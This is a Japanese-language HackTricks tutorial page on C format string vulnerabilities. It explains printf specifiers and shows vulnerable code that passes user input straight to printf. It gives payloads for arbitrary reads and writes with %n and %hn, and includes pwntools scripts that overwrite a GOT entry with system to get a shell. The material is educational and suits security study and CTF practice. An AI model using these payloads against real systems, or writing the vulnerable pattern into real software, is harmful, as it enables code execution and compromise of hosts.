hacktricks/binary-exploitation/format-strings/README.md

169 lines
11 KiB
Markdown
Raw Normal View History

# フォーマット文字列
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
</details>
## 基本情報
C言語では、**`printf`**は文字列を**表示**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。期待される**次のパラメータ**は、生のテキストから**フォーマッタを置換する値**です。
脆弱性が発生するのは、この関数の**最初の引数として攻撃者のテキストが使用される**場合です。攻撃者は、**printfフォーマット文字列の機能を悪用**して、**任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込み**する特別な入力を作成できます。これにより、**任意のコードを実行**できるようになります。
#### フォーマッタ:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**例:**
* 脆弱性のある例:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* 通常の使用:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* 引数が不足している場合:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
### **ポインタへのアクセス**
フォーマット **`%<n>$x`** 、ここで `n` は数字を示し、printf に n 番目のパラメータスタックからを選択させることができます。したがって、printf を使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします
```c
printf("%x %x %x %x")
```
そして、最初から4番目のパラメータまで読み取ることができます。
または、次のようにすることもできます:
```c
printf("$4%x")
```
そして、4番目を直接読んでください。
攻撃者が`pr`**`intf`パラメータを制御していることに注意してください。** これは基本的に、`printf`が呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。
{% hint style="danger" %}
この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスする**ことができます。次のセクションでは、この動作の使用方法について説明します。
{% endhint %}
## **任意の読み取り**
フォーマッタ **`$n%s`** を使用して、**`printf`** がそれに続く**n番目の位置**にある**アドレス**を取得し、それを文字列として表示することが可能です0x00が見つかるまで印刷。したがって、バイナリのベースアドレスが **`0x8048000`** であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように印刷することができます
```python
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。
{% endhint %}
## **任意の書き込み**
フォーマッタ **`$<num>%n`** は、スタック内の \<num> パラメータに書き込まれたバイト数を指定されたアドレスに書き込みます。攻撃者がprintfを使用して好きなだけ文字を書き込める場合、**`$<num>%n`** を使用して任意の数値を任意のアドレスに書き込むことができます。
幸いなことに、数値9999を書き込むには、入力に9999個の "A" を追加する必要はありません。代わりに、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、`num` の位置で指定されたアドレスに数値 **`<num-write>`** を書き込むことが可能です。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
しかし、通常、`0x08049724`のようなアドレスを書くために(これは一度に書くには巨大な数です)、**`$n`**の代わりに**`$hn`**が使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの上位2バイトと下位2バイトの両方に対して1回ずつ行われます。
したがって、この脆弱性により、**任意のアドレスに任意の内容を書き込むことができます(任意の書き込み)。**
この例では、後で呼び出される**GOT**テーブル内の**関数**の**アドレス**を**上書き**することが目標となります。これにより、他の任意の書き込みを実行する手法を悪用できます:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
**ユーザー**から**引数**を**受け取る関数**の**アドレス**を**`system`** **関数**に**ポイント**することになります。\
前述のように、アドレスを書くためには通常2つのステップが必要ですまず、アドレスの2バイトを書き込み、その後残りの2バイトを書き込みます。これを行うには**`$hn`**が使用されます。
* **HOB**はアドレスの上位2バイトを指します
* **LOB**はアドレスの下位2バイトを指します
その後、フォーマット文字列の動作のため、\[HOB、LOB]のうち**最小の方を最初に書き込む**必要があります。
HOB < LOBの場合\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
HOB > LOBの場合\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
### Pwntoolsのテンプレート
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**を以下で見つけることができます:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)からこの基本的な例を参照してください。
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## バイナリオーバーフローへのフォーマット文字列
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込み**、**バッファオーバーフロー**型の脆弱性を悪用することが可能です。
## その他の例と参考文献
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32ビット、relroなし、canaryなし、nx、pieなし、フォーマット文字列を使用してスタックからフラグをリークする基本的な使用例実行フローを変更する必要はありません
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して`fflush`のアドレスをwin関数ret2winで上書きする
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して、`.fini_array`内のmain内のアドレスを書き込みフローが1回追加でループする、`strlen`を指すGOTテーブル内の`system`のアドレスを書き込みます。フローがmainに戻ると、ユーザー入力で`strlen`が実行され、`system`を指す`strlen`が実行され、渡されたコマンドが実行されます。